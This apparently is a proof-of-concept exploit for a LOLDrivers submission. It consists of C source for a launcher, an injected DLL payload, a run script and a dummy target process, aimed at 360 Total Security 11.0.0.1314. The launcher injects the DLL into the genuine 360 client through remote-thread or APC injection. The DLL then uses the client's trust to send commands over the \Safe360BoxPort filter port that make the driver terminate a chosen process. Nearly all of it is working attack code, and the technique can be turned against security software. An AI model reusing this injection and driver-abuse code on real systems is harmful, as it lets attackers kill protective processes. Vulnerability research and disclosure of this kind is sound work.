Bounded 360 Total Security 11.0.0.1314 BYOTC PoC for LOLDrivers submission

360_byotc_parent.c

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>

#ifndef TRUSTED_CLIENT
#define TRUSTED_CLIENT L"C:\\Program Files (x86)\\360\\Total Security\\QHSafeMain.exe"
#endif
#define PAYLOAD_PATH L"E:\\360_byotc_payload.dll"
#define RESULT_PATH L"C:\\Users\\Public\\byotc_360_result.txt"

typedef HRESULT (WINAPI *filter_connect_t)(LPCWSTR, DWORD, LPCVOID, WORD,
                                           LPSECURITY_ATTRIBUTES, HANDLE *);

static void log_line(const char *format, ...)
{
    char buffer[1024];
    va_list args;
    DWORD written;
    HANDLE file;

    va_start(args, format);
    _vsnprintf(buffer, sizeof(buffer) - 3, format, args);
    va_end(args);
    buffer[sizeof(buffer) - 3] = '\0';
    strcat(buffer, "\r\n");

    file = CreateFileW(RESULT_PATH, FILE_APPEND_DATA,
                       FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
                       FILE_ATTRIBUTE_NORMAL, NULL);
    if (file == INVALID_HANDLE_VALUE)
        return;
    WriteFile(file, buffer, (DWORD)strlen(buffer), &written, NULL);
    CloseHandle(file);
}

static void record_untrusted_baseline(void)
{
    HMODULE fltlib = LoadLibraryW(L"fltlib.dll");
    filter_connect_t connect_port;
    HANDLE port = INVALID_HANDLE_VALUE;
    HRESULT result;

    if (!fltlib) {
        log_line("baseline LoadLibrary(fltlib.dll) failed: %lu", GetLastError());
        return;
    }
    connect_port = (filter_connect_t)GetProcAddress(fltlib,
                                                    "FilterConnectCommunicationPort");
    if (!connect_port) {
        log_line("baseline export lookup failed: %lu", GetLastError());
        FreeLibrary(fltlib);
        return;
    }
    result = connect_port(L"\\Safe360BoxPort", 0, NULL, 0, NULL, &port);
    log_line("untrusted baseline connect hr=0x%08lx handle=%p",
             (unsigned long)result, port);
    if (port != INVALID_HANDLE_VALUE)
        CloseHandle(port);
    FreeLibrary(fltlib);
}

int wmain(void)
{
    STARTUPINFOW startup = { sizeof(startup) };
    PROCESS_INFORMATION child = { 0 };
    SIZE_T payload_bytes = (wcslen(PAYLOAD_PATH) + 1) * sizeof(wchar_t);
    void *remote_path = NULL;
    SIZE_T written = 0;
    HMODULE kernel32;
    FARPROC load_library;
    HANDLE remote_thread = NULL;
    DWORD thread_result = 0;
    BOOL queued_apc = FALSE;

    DeleteFileW(RESULT_PATH);
    log_line("360 BYOTC parent-handle lab probe");
    log_line("parent pid=%lu; fixed client=%ls", GetCurrentProcessId(), TRUSTED_CLIENT);
    record_untrusted_baseline();

    if (!CreateProcessW(TRUSTED_CLIENT, NULL, NULL, NULL, FALSE,
                        CREATE_SUSPENDED, NULL, NULL, &startup, &child)) {
        log_line("CreateProcess(trusted client) failed: %lu", GetLastError());
        return 1;
    }
    log_line("created genuine client pid=%lu process_handle=%p", child.dwProcessId,
             child.hProcess);

    remote_path = VirtualAllocEx(child.hProcess, NULL, payload_bytes,
                                 MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!remote_path) {
        log_line("VirtualAllocEx failed: %lu", GetLastError());
        goto cleanup;
    }
    if (!WriteProcessMemory(child.hProcess, remote_path, PAYLOAD_PATH,
                            payload_bytes, &written)) {
        log_line("WriteProcessMemory failed: %lu", GetLastError());
        goto cleanup;
    }
    log_line("parent handle retained VM_WRITE; wrote %lu bytes",
             (unsigned long)written);

    kernel32 = GetModuleHandleW(L"kernel32.dll");
    load_library = GetProcAddress(kernel32, "LoadLibraryW");
    remote_thread = CreateRemoteThread(child.hProcess, NULL, 0,
                                       (LPTHREAD_START_ROUTINE)load_library,
                                       remote_path, 0, NULL);
    if (!remote_thread) {
        log_line("CreateRemoteThread blocked as expected: %lu", GetLastError());
        queued_apc = QueueUserAPC((PAPCFUNC)load_library, child.hThread,
                                  (ULONG_PTR)remote_path);
        if (!queued_apc) {
            log_line("QueueUserAPC on inherited primary-thread handle failed: %lu",
                     GetLastError());
            goto cleanup;
        }
        log_line("queued LoadLibrary via inherited primary-thread handle");
        ResumeThread(child.hThread);
        Sleep(10000);
        goto cleanup;
    }
    log_line("parent handle retained thread-creation access");
    WaitForSingleObject(remote_thread, 10000);
    GetExitCodeThread(remote_thread, &thread_result);
    log_line("remote LoadLibrary result=0x%08lx", thread_result);

    ResumeThread(child.hThread);
    Sleep(8000);

cleanup:
    if (remote_thread)
        CloseHandle(remote_thread);
    if (remote_path)
        VirtualFreeEx(child.hProcess, remote_path, 0, MEM_RELEASE);
    if (child.hThread)
        CloseHandle(child.hThread);
    if (child.hProcess) {
        TerminateProcess(child.hProcess, 0);
        CloseHandle(child.hProcess);
    }
    return 0;
}

360_byotc_payload.c

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdint.h>
#include <stdio.h>

#define RESULT_PATH L"C:\\Users\\Public\\byotc_360_result.txt"
#define SACRIFICIAL_PATH L"E:\\360_sacrificial_target.exe"
#define LAB_GROUP_ID 0x42594f54u

typedef HRESULT (WINAPI *filter_connect_t)(LPCWSTR, DWORD, LPCVOID, WORD,
                                           LPSECURITY_ATTRIBUTES, HANDLE *);
typedef HRESULT (WINAPI *filter_send_t)(HANDLE, LPVOID, DWORD, LPVOID, DWORD,
                                        LPDWORD);

#pragma pack(push, 1)
typedef struct {
    uint32_t command;
    uint32_t reserved;
    uint64_t process_id;
    uint32_t flags;
    uint32_t group_id;
} set_process_flags_message;

typedef struct {
    uint32_t command;
    uint32_t reserved;
    uint32_t group_id;
    uint32_t flags;
} clear_sandbox_message;
#pragma pack(pop)

static void log_line(const char *format, ...)
{
    char buffer[1024];
    va_list args;
    DWORD written;
    HANDLE file;

    va_start(args, format);
    _vsnprintf(buffer, sizeof(buffer) - 3, format, args);
    va_end(args);
    buffer[sizeof(buffer) - 3] = '\0';
    strcat(buffer, "\r\n");

    file = CreateFileW(RESULT_PATH, FILE_APPEND_DATA,
                       FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
                       FILE_ATTRIBUTE_NORMAL, NULL);
    if (file == INVALID_HANDLE_VALUE)
        return;
    WriteFile(file, buffer, (DWORD)strlen(buffer), &written, NULL);
    CloseHandle(file);
}

static DWORD WINAPI run_probe(void *unused)
{
    HMODULE fltlib;
    filter_connect_t connect_port;
    filter_send_t send_message;
    HANDLE port = INVALID_HANDLE_VALUE;
    STARTUPINFOW startup = { sizeof(startup) };
    PROCESS_INFORMATION target = { 0 };
    set_process_flags_message set_message = { 0 };
    clear_sandbox_message clear_message = { 0 };
    DWORD returned = 0;
    HRESULT connect_result;
    HRESULT set_result;
    HRESULT clear_result;
    DWORD wait_result;

    (void)unused;
    log_line("payload pid=%lu started", GetCurrentProcessId());

    fltlib = LoadLibraryW(L"fltlib.dll");
    if (!fltlib) {
        log_line("LoadLibrary(fltlib.dll) failed: %lu", GetLastError());
        return 1;
    }
    connect_port = (filter_connect_t)GetProcAddress(fltlib,
                                                    "FilterConnectCommunicationPort");
    send_message = (filter_send_t)GetProcAddress(fltlib, "FilterSendMessage");
    if (!connect_port || !send_message) {
        log_line("fltlib exports missing: %lu", GetLastError());
        FreeLibrary(fltlib);
        return 1;
    }

    connect_result = connect_port(L"\\Safe360BoxPort", 0, NULL, 0, NULL, &port);
    log_line("trusted FilterConnectCommunicationPort hr=0x%08lx handle=%p",
             (unsigned long)connect_result, port);
    if (FAILED(connect_result)) {
        FreeLibrary(fltlib);
        return 1;
    }

    if (!CreateProcessW(SACRIFICIAL_PATH, NULL, NULL, NULL, FALSE, 0, NULL, NULL,
                        &startup, &target)) {
        log_line("CreateProcess(sacrificial) failed: %lu", GetLastError());
        CloseHandle(port);
        FreeLibrary(fltlib);
        return 1;
    }
    log_line("sacrificial pid=%lu", target.dwProcessId);
    CloseHandle(target.hThread);

    set_message.command = 0x13;
    set_message.process_id = target.dwProcessId;
    set_message.flags = 1;
    set_message.group_id = LAB_GROUP_ID;
    set_result = send_message(port, &set_message, sizeof(set_message), NULL, 0,
                              &returned);
    log_line("command 0x13 hr=0x%08lx returned=%lu",
             (unsigned long)set_result, returned);

    clear_message.command = 0x31;
    clear_message.group_id = LAB_GROUP_ID;
    clear_message.flags = 1;
    returned = 0;
    clear_result = send_message(port, &clear_message, sizeof(clear_message), NULL,
                                0, &returned);
    log_line("command 0x31 hr=0x%08lx returned=%lu",
             (unsigned long)clear_result, returned);

    wait_result = WaitForSingleObject(target.hProcess, 5000);
    log_line("sacrificial wait=%lu exit_code_follows", wait_result);
    if (wait_result == WAIT_OBJECT_0) {
        DWORD exit_code = 0;
        GetExitCodeProcess(target.hProcess, &exit_code);
        log_line("CONFIRMED: driver terminated sacrificial child; exit=0x%08lx",
                 exit_code);
    } else {
        log_line("NOT CONFIRMED: sacrificial child remained alive");
        TerminateProcess(target.hProcess, 0x4259);
    }

    CloseHandle(target.hProcess);
    CloseHandle(port);
    FreeLibrary(fltlib);
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE module, DWORD reason, LPVOID reserved)
{
    (void)reserved;
    if (reason == DLL_PROCESS_ATTACH) {
        HANDLE thread;
        DisableThreadLibraryCalls(module);
        thread = CreateThread(NULL, 0, run_probe, NULL, 0, NULL);
        if (thread)
            CloseHandle(thread);
    }
    return TRUE;
}

360_run_lab.cmd

@echo off
setlocal

del /q C:\Users\Public\byotc_360_result.txt 2>nul
echo Running fixed-purpose 360 BYOTC lab probe...
%~dp0360_byotc_parent.exe
echo.
echo === C:\Users\Public\byotc_360_result.txt ===
type C:\Users\Public\byotc_360_result.txt 2>nul
echo.
pause

endlocal

360_sacrificial_target.c

#include <windows.h>

int WINAPI WinMain(HINSTANCE instance, HINSTANCE previous, LPSTR command_line, int show)
{
    (void)instance;
    (void)previous;
    (void)command_line;
    (void)show;

    Sleep(300000);
    return 0;
}